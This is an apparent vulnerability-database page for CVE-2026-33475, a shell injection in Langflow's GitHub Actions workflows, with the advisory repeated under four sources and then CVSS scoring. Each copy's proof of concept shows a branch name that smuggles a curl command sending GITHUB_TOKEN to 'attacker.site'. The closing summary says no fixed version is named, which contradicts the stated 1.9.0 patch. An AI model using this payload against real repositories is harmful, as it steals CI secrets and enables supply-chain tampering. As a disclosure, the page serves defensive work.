CVE-2026-33475
Langflow GitHub Actions Shell Injection
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
-
Fork the Langflow repository
-
Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
Open a Pull Request to the main branch from the new branch
-
GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) -
The
run:step containing:echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.1
Langflow GitHub Actions Shell Injection
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
-
Fork the Langflow repository
-
Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
Open a Pull Request to the main branch from the new branch
-
GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) -
The
run:step containing:echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
- Record
CVE-2026-33475- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-74, CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-14790
9.1
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
-
Fork the Langflow repository
-
Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
Open a Pull Request to the main branch from the new branch
-
GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) -
The
run:step containing:echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
- Record
EUVD-2026-14790- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
NVD
9.1
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
-
Fork the Langflow repository
-
Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
Open a Pull Request to the main branch from the new branch
-
GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) -
The
run:step containing:echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
- Record
CVE-2026-33475- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-74, CWE-78
- Updated
- 2026-11-02
OSV
9.1
Langflow GitHub Actions Shell Injection
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
-
Fork the Langflow repository
-
Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
Open a Pull Request to the main branch from the new branch
-
GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) -
The
run:step containing:echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN -
The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
- Record
CVE-2026-33475- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-74, CWE-78
- Updated
- 2026-11-02
Affected products
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | pvharmo2/gha-lab-9b5e3ccfbe | 2026-09-04 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33475 is a critical vulnerability (CVSS 9.1) in Langflow, published March 24, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 3.15%, the 88th percentile. No source names a fixed version.